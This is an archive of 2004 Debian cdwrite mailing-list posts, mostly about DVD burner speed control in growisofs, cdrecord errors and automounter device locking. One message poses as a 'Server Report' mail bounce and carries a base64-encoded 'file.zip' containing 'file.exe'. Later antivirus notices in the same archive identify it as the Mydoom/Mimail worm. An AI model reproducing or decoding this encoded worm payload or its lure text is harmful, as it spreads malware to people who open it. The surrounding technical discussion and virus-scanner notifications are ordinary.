Re: Bug in growisofs: No write speed change possible for Philips DVDR824P
On Saturday 31 January 2004 23:39, Andy Polyakov wrote: Note that as of May 2003 I've decided to advise users to turn to [EMAIL PROTECTED] on support matters. Subscribe page is at http://lists.debian.org/cdwrite/, archive - at http://www.mail-archive.com/cdwrite%40other.debian.org/. Copy sent. When replying, please add me to CC. I am not subscribed. No matter what write speed value I select my DVD-burner always chooses the highest possible values. I am using dvd+rw-tools-5.17.4.8.6. I digged in the source and found that following the GET PERFORMACE request (growisofs_mmc.cpp:785) my drive only returns one possible speed value. You could as well just examine dvd+rw-mediainfo output:-) Uncool ;-) If I hardcode a legal speedvalue like 2.4 in growisofs_mmc.cpp my drive uses that speed. Do you mean it accepts the command without signalling an error or do you mean that it accepts the command *and* performs the recording at chosen speed? Specification says that unit should accept *any* performance value and then stick to closest one from the list returned by GET PERFORMANCE. It accepts the command and writes at speed 2.4 while GET PERFORMANCE returns only 8. FWIT, cdrecord-prodvd has no problem with different speeds. Can you submit 'dvd+rw-format /dev/dvd verbose' output for your unit? With some multi-speed media in it? A. I assume you mean dvd+rw-mediainfo. ./dvd+rw-mediainfo /dev/dvdrw verbose /tmp/mediainfo.out 21 I hope the attachment makes it to the mailing list. Hälsing, Matthias Grimrath :-[ READ DVD STRUCTURE#11 failed with SK=5h/ASC=24h/ACQ=00h]: Input/output error INQUIRY:[PHILIPS ][DVDR824P][P1.2] MODE SENSE[#3Fh]: 01:00 05 00 00 00 00 00 00 00 00 05:41 c4 08 00 00 00 00 00 00 00 00 20 00 96 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0D:00 0c 00 3c 00 4b 0E:04 00 00 00 00 00 01 ff 02 ff 00 00 00 00 1A:00 01 00 00 00 00 00 00 09 60 1D:00 00 00 00 00 0a 00 1e 2A:1f 07 f5 67 29 20 2b 48 00 02 20 00 2b 48 00 00 2b 48 2b 48 00 01 00 00 00 00 2b 48 00 03 00 00 2b 48 00 00 15 a4 00 00 0c fc MODE SENSE[#2A]: 2A:1f 07 f5 67 29 20 2b 48 00 02 20 00 2b 48 00 00 2b 48 2b 48 00 01 00 00 00 00 2b 48 00 03 00 00 2b 48 00 00 15 a4 00 00 0c fc GET [CURRENT] CONFIGURATION: : 00 10 00 00 00 08 00 00 00 1b 01 00 00 1a 00 00 00 09 00 00 00 0a 00 00 0001: 00 00 00 02 0002: 00 00 00 00 0003: 29 00 00 00 0010: 00 00 08 00 00 10 01 00 001F: 0021: 3f 0b 01 01 00 00 00 00 002B: 01 00 00 00 0100: 0105: 0107: 1f 00 00 00 0108: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 010A: 46 44 43 00 53 44 43 00 54 4f 43 00 Mounted Media: 1Bh, DVD+R Current Write Speed: 8.0x1385=11080KB/s Write Speed #0:8.0x1385=11080KB/s Write Speed #1:4.0x1385=5540KB/s Write Speed #2:2.4x1385=3324KB/s GET CURRENT PERFORMANCE:02 00 00 00 00 00 00 00 00 00 2b 48 00 23 05 3f 00 00 2b 48 Write Performance: 8.0x1385=11080KB/[EMAIL PROTECTED] - 2295103] GET PERFORMANCE:00 00 00 00 00 23 05 3f 00 00 12 b3 00 00 2b 48 Speed Descriptor#0:00/2295103 [EMAIL PROTECTED]/s [EMAIL PROTECTED]/s READ DVD STRUCTURE[#FF]: STRUCTURE#00 40:2048 STRUCTURE#01 40:4 STRUCTURE#02 40:2048 STRUCTURE#04 40:2048 STRUCTURE#05 c0:4 STRUCTURE#30 40:32768 STRUCTURE#ff 40:28 READ DVD STRUCTURE[#0h]:01 0f 02 00 00 03 00 00 00 26 05 3f 00 00 00 00 Media Book Type: 01h, DVD-ROM book [revision 1] Media ID: MCC/002 Legacy lead-out at:2295104*2KB=4700372992 READ DISC INFORMATION: 00 20 01 01 02 02 02 20 00 00 00 00 00 00 00 00 Disc status: appendable Number of Sessions:2 State of Last Session: empty Next Track: 2 Number of Tracks: 2 READ TRACK INFORMATION[#1]: 00 22 01 01 00 07 01 00 00 00 00 00 00 21 4a 50 Track State: complete Track Start Address: 0*2KB Free Blocks: 0*2KB Track Size:2181712*2KB READ TRACK INFORMATION[#2]: 00 26 02 02 00 07 41 01 00 21 52 50 00 21 52 50 Track State: blank Track Start Address: 2183760*2KB Next Writable Address: 2183760*2KB Free Blocks: 111344*2KB Track Size:111344*2KB FABRICATED TOC: 18 1 1 Track#1 : [EMAIL PROTECTED] Track#AA : [EMAIL PROTECTED] Multi-session Info:[EMAIL PROTECTED]
Re: Bug in growisofs: No write speed change possible for Philips DVDR824P
INQUIRY:[PHILIPS ][DVDR824P][P1.2] No matter what write speed value I select my DVD-burner always chooses the highest possible values. I am using dvd+rw-tools-5.17.4.8.6. I digged in the source and found that following the GET PERFORMACE request (growisofs_mmc.cpp:785) my drive only returns one possible speed value. If I hardcode a legal speedvalue like 2.4 in growisofs_mmc.cpp my drive uses that speed. Do you mean it accepts the command without signalling an error or do you mean that it accepts the command *and* performs the recording at chosen speed? Specification says that unit should accept *any* performance value and then stick to closest one from the list returned by GET PERFORMANCE. It accepts the command and writes at speed 2.4 while GET PERFORMANCE returns only 8. This is odd... As far as I understand Philips 824 is result of collaboration with Benq, but other derivatives, e.g. hp dvd400c, are known to return more descriptors in reply to GET PERFORMANCE... Could you test if dvd+rw-tools-5.16.x can control speed of your unit? It should, because unlike 5.17, 5.16 [still] relies on Page 2A to pull the list of supported velocities for currently mounted media. In case you wonder why 5.17 favors GET PERFORMANCE over Page 2A (the one used to contain recording velocities). In latest MMC specification Page 2A is declared as being no longer recommended for use in multi-media devices, while GET PERFORMANCE was mandatory for implementation since a while ago. At the same time other units, most notably NEC derivatives, were observed to report bogus descriptors through Page 2A, while other units were observed to maintain same speed lists through *both* Page 2A and GET PERFORMANCE command. But so far no unit was observed to report sane descriptors in Page 2A and not provide copy of the table through GET PERFORMANCE. This formed the ground for the decision to switch. And your unit apparently breaks this assumption by *not* providing a complete set of speed descriptors through GET PERFORMANCE command (as you can observe in dvd+rw-mediainfo output: there is a number of Write Speed#N, but only one Speed Descriptor#0. What happens next? Verify that 5.16 works and if it does, stick to it till further notice. Check for firmware update and if there is no any or if it doesn't fix the problem, try to file bug report to Philips claiming that the unit in question fails to provide Type 3 data, supported speed descriptors for currently mounted media, through GET PERFORMANCE command. A. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: DVD Compatiblity issue
Joerg Schilling wrote: The cdrecord README clearly states that you _need_ working DMA in order to write DVDs. If you have burnfree ON the drive just dramatically slows down. If the DVD unit were set to 4x, but data underrun were reducing the effective transfer speed to 2x, would cdrecord report the speed set or the speed achieved? I think the latter, since when burning CDs I see the reported speed change several time over the duration of the burn. Joerg is very likely to be correct on this, although it would be useful to have an indication of burnfree being in use. I would expect the min full report at the end of burn to show the lack of data during the burn. Joerg, can you give us any reliable way to determine if burnfree was used, and quantify it? Once or twice on a data recording probably doesn't matter much, but frequent use shows problems. -- E. Robert Bogusta It seemed like a good idea at the time -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: DVD Compatiblity issue
The cdrecord README clearly states that you _need_ working DMA in order to write DVDs. If you have burnfree ON the drive just dramatically slows down. If the DVD unit were set to 4x, but data underrun were reducing the effective transfer speed to 2x, Well, this I can agree with 100%, but I can't see that this is equivalent to the referred statement. There is a huge difference between having burnfree ON and suffering from buffer underruns, as well as between *just* dramatically slows down and cause *effective* speed reduction, don't you think? Of course whenever recording suffers from buffer underrun, an idle spin has to be taken, which effectively slows down the recording, but the question is for how much. This was discussed already, given that DVD+ performs as expected at 2.4x (as on requestor's system), 3x seems to be commonly observed value for 4x media in the lack of DMA, not 2x as user reported. Also note that given that buffer capacity is enough to sustain several rotations, the unit is capable to follow the wire transfer speed without abrupt performance degradation (because proportion of idle spins is minimized). I mean you don't normally end up in situation when performance degrades by factor of N, whenever maximum transfer rate between host and logical unit is only slightly lower than required. Instead, you observe effective recording speed being slightly/somewhat less than the actual wire speed. Well, this naturally does not exclude the possibility that there might be firmware implementations out there, which would exhibit abrupt performance degradation, in which case one'd say if recording suffers from buffer underruns, you *can* observe dramatic performance degradation, but you can't say it *just* does it. would cdrecord report the speed set or the speed achieved? It prints both as far as I understand. Requestor should be able to clarify which one, intended velocity in the beginning or average summary at the end, he was referring to. Cheers. A. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
cdrecord-dvdpro failuer with dvd-rw...
I have a Sony DRU-510A and am having problems writing to a DVD-RW. I just purchased a new spindle of blank rw's and wrote a test image to one of the discs, I then blanked the disc so I could write a real image, however when I did this I recieved an error (see following). Any thoughts on how to revive the disc? Thanks, D. --- snip snip -- sh-2.05b# dvdrecord -v dev=1,0,0 -data B.img Cdrecord-ProDVD-Clone 2.01a24 (i686-pc-linux-gnu) Copyright (C) 1995-2004 Jörg Schilling Unlocked features: ProDVD Clone Limited features: This copy of cdrecord is licensed for: private/research/educational_non-commercial_use TOC Type: 1 = CD-ROM scsidev: '1,0,0' scsibus: 1 target: 0 lun: 0 Linux sg driver version: 3.1.24 Using libscg version 'schily-0.8'. SCSI buffer size: 64512 atapi: 1 Device type: Removable CD-ROM Version: 0 Response Format: 2 Capabilities : Vendor_info: 'SONY' Identifikation : 'DVD RW DRU-510A ' Revision : '1.0d' Device seems to be: Generic mmc2 DVD-R/DVD-RW. Current: DVD-RW sequential overwrite Profile: DVD+R Profile: DVD+RW Profile: DVD-RW sequential overwrite (current) Profile: DVD-RW restricted overwrite (current) Profile: DVD-R sequential recording Profile: DVD-ROM Profile: CD-RW Profile: CD-R Profile: CD-ROM Using generic SCSI-3/mmc-2 DVD-R/DVD-RW driver (mmc_dvd). Driver flags : DVD MMC-3 SWABAUDIO BURNFREE Supported modes: TAO PACKET SAO SAO/R96R RAW/R96R Drive buf size : 4718592 = 4608 KB FIFO size : 4194304 = 4096 KB Track 01: data 3362 MB Total size: 3362 MB = 1721632 sectors Current Secsize: 2048 cdrecord-ProDVD: Input/output error. read track info: scsi sendcmd: no error CDB: 52 00 00 00 00 00 00 00 24 00 status: 0x2 (CHECK CONDITION) Sense Bytes: 70 00 03 00 00 00 00 12 00 00 00 00 57 00 00 00 Sense Key: 0x3 Medium Error, Segment 0 Sense Code: 0x57 Qual 0x00 (unable to recover table-of-contents) Fru 0x0 Sense flags: Blk 0 (not valid) cmd finished after 0.004s timeout 240s WARNING: Phys disk size 2298481 differs from rzone size 0! Prerecorded disk? WARNING: Phys start: 196608 Phys end 2495088 cdrecord-ProDVD: Data will not fit on any disk. cdrecord-ProDVD: Cannot write CD's = 100 minutes. http://greetings.yahoo.com.au - Yahoo! Greetings Send your love online with Yahoo! Greetings - FREE! -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Not Subscribed: Server Report
You are not subscribed to the NYCFUG list with the address [EMAIL PROTECTED] To add this address to your profile, please visit the sign in page at http://www.houseoffusion.com/signin/ Return-Path: [EMAIL PROTECTED] Received: from manage.24online ([61.95.134.2]) by hof001.houseoffusion.com (Post.Office MTA v3.5.3 release 223 ID# 0-54969U100L100S0V35) with ESMTP id com for [EMAIL PROTECTED]; Sun, 1 Feb 2004 23:15:00 -0500 Received: from other.debian.org ([172.25.46.19]) by manage.24online (8.9.3p2/8.9.3) with ESMTP id JAA25398 for [EMAIL PROTECTED]; Mon, 2 Feb 2004 09:46:17 +0530 From: [EMAIL PROTECTED] Message-Id: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Server Report Date: Mon, 2 Feb 2004 09:45:49 +0530 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary==_NextPart_000_0003_6A59C2E5.C6080E63 X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. --=_NextPart_000_0003_6A59C2E5.C6080E63 Content-Type: text/plain; charset=Windows-1252 Content-Transfer-Encoding: 7bit Mail transaction failed. Partial message is available. --=_NextPart_000_0003_6A59C2E5.C6080E63 Content-Type: application/octet-stream; name=file.zip Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=file.zip UEsDBAoAAPghQjDKJx+eAFgAAABYAAAIZmlsZS5leGVNWpAAAwQAAAD//wAAuAAA AABAAACo AABQRQAATAEDAOAA DwELAQcAAFAQYAAAYL4AAABwwABKAAAQAgAABAAE AADQEAIAABAAABAAEAAAEBAAAOjBAAAwAQAA AMAAAOgB AFVQ WDAAAGAQAAQAAIAAAOBVUFgxAABQcFAA AAAEAABAAADgLnJzcmMAEMAEVAAA QAAAwAAA AAAx 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
Virus hallado!!!
El entivirus de quebeber.com siente comunicarle que, el correo enviado a [EMAIL PROTECTED], con el asunto Not Subscribed: Server Report, contiene uno o mas virus. A continuacion le detallamos una lista de lo que se ha encontrado en dicho correo. Found the W32/Mydoom.a.eml!zip virus !!! File(s) Total files: ... 1 Clean: . 0 Not scanned: ... 0 Possibly Infected: . 1 Le recomendamos encarecidamente que pase un antivirus por el ordenador desde el que envio este correo electronico, ya que muy probablemente, se haye infectado por los virus antes citados. Un Saludo, Adolfo Gomez SysAdmin de quebeber.com -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
[MailServer Notification] To External Recipient: a virus was foun d and action taken.
Title: [MailServer Notification] To External Recipient: a virus was found and action taken. ScanMail for Microsoft Exchange took action on the message. The message details were: Sender = [EMAIL PROTECTED] Recipient(s) = [EMAIL PROTECTED]; Subject = Not Subscribed: Server Report Scanning time = 02/02/2004 04:32:22 Engine/Pattern = 6.740-1002/1.749.00 Action taken on message: The message body contained WORM_MIMAIL.R virus. ScanMail deleted the message body. Warning to external recipient: ScanMail has detected a virus. - - - - - DISCLAIMER - - - - - Confidentiality: This e-mail and its attachments are intended for the above named only and may be confidential. If they have come to you in error you must take no action based on them, nor must you copy or show them to anyone; please reply to this e-mail and highlight the error. Security Warning: Please note that this e-mail has been created in the knowledge that Internet e-mail is not a 100% secure communications medium. We advise that you understand and observe this lack of security when e-mailing us. Viruses: Although we have taken steps to ensure that this e-mail and attachments are free from any virus, we advise that in keeping with good computing practice the recipient should ensure they are actually virus free.
[MailServer Notification] To External Sender: a virus was found a nd action taken.
Title: [MailServer Notification] To External Sender: a virus was found and action taken. ScanMail for Microsoft Exchange took action on the message. The message details were: Sender = [EMAIL PROTECTED] Recipient(s) = [EMAIL PROTECTED]; Subject = Not Subscribed: Server Report Scanning time = 02/02/2004 04:32:22 Engine/Pattern = 6.740-1002/1.749.00 Action taken on message: The message body contained WORM_MIMAIL.R virus. ScanMail deleted the message body. Warning to external sender: ScanMail has detected a virus in an email you sent. - - - - - DISCLAIMER - - - - - Confidentiality: This e-mail and its attachments are intended for the above named only and may be confidential. If they have come to you in error you must take no action based on them, nor must you copy or show them to anyone; please reply to this e-mail and highlight the error. Security Warning: Please note that this e-mail has been created in the knowledge that Internet e-mail is not a 100% secure communications medium. We advise that you understand and observe this lack of security when e-mailing us. Viruses: Although we have taken steps to ensure that this e-mail and attachments are free from any virus, we advise that in keeping with good computing practice the recipient should ensure they are actually virus free.
Re: Automounters - more info wanted (was Re: Re: plextor px-708uf: cannot get disk type)
On Sat 31 January 2004 22:46, Volker Kuhlmann wrote: What I meant was those autothingies should keep their hands off a disk while a burn process is happening. Dunno whether it's possible to detect this, but isn't that the way it should be? The burner software can open exclusive - see man open. Yes, even better if the burning software can get access to the device in such a way that accesses from other processes result in in use - go away. You mean O_EXCL? That doesn't seem to make sense? O_EXCL When used with O_CREAT, if the file already exists it is an error and the open will fail. My man page doesn't mention anything about E_EXCL when used without O_CREAT, but if the behaviour is return success only when the device isn't in use (r or w elsewhere) and to prevent subsequent processes from opening even read-only, then that looks As far as I can tell, it says that it won't create or open the file if it already exists. I'm just going by the manpage, but it doesn't say anything about just opening without O_CREAT (and I reckon the device file would exist), let alone that this would prevent other programs from opering. If it would work without O_CREAT _and_ these automounter opened with O_EXCL, then it might be the solution. But I don't see that written down anywhere... Lourens -- GPG public key: http://home.student.utwente.nl/l.e.veen/lourens.key
Virus hallado!!!
El entivirus de quebeber.com siente comunicarle que, el correo enviado a cdwrite@other.debian.org, con el asunto Not Subscribed: Server Report, contiene uno o mas virus. A continuacion le detallamos una lista de lo que se ha encontrado en dicho correo. Found the W32/Mydoom.a.eml!zip virus !!! File(s) Total files: ... 1 Clean: . 0 Not scanned: ... 0 Possibly Infected: . 1 Le recomendamos encarecidamente que pase un antivirus por el ordenador desde el que envio este correo electronico, ya que muy probablemente, se haye infectado por los virus antes citados. Un Saludo, Adolfo Gomez SysAdmin de quebeber.com
[MailServer Notification] To External Sender: a virus was found a nd action taken.
Title: [MailServer Notification] To External Sender: a virus was found and action taken. ScanMail for Microsoft Exchange took action on the message. The message details were: Sender = cdwrite@other.debian.org Recipient(s) = cdwrite@other.debian.org; Subject = Not Subscribed: Server Report Scanning time = 02/02/2004 04:32:22 Engine/Pattern = 6.740-1002/1.749.00 Action taken on message: The message body contained WORM_MIMAIL.R virus. ScanMail deleted the message body. Warning to external sender: ScanMail has detected a virus in an email you sent. - - - - - DISCLAIMER - - - - - Confidentiality: This e-mail and its attachments are intended for the above named only and may be confidential. If they have come to you in error you must take no action based on them, nor must you copy or show them to anyone; please reply to this e-mail and highlight the error. Security Warning: Please note that this e-mail has been created in the knowledge that Internet e-mail is not a 100% secure communications medium. We advise that you understand and observe this lack of security when e-mailing us. Viruses: Although we have taken steps to ensure that this e-mail and attachments are free from any virus, we advise that in keeping with good computing practice the recipient should ensure they are actually virus free.
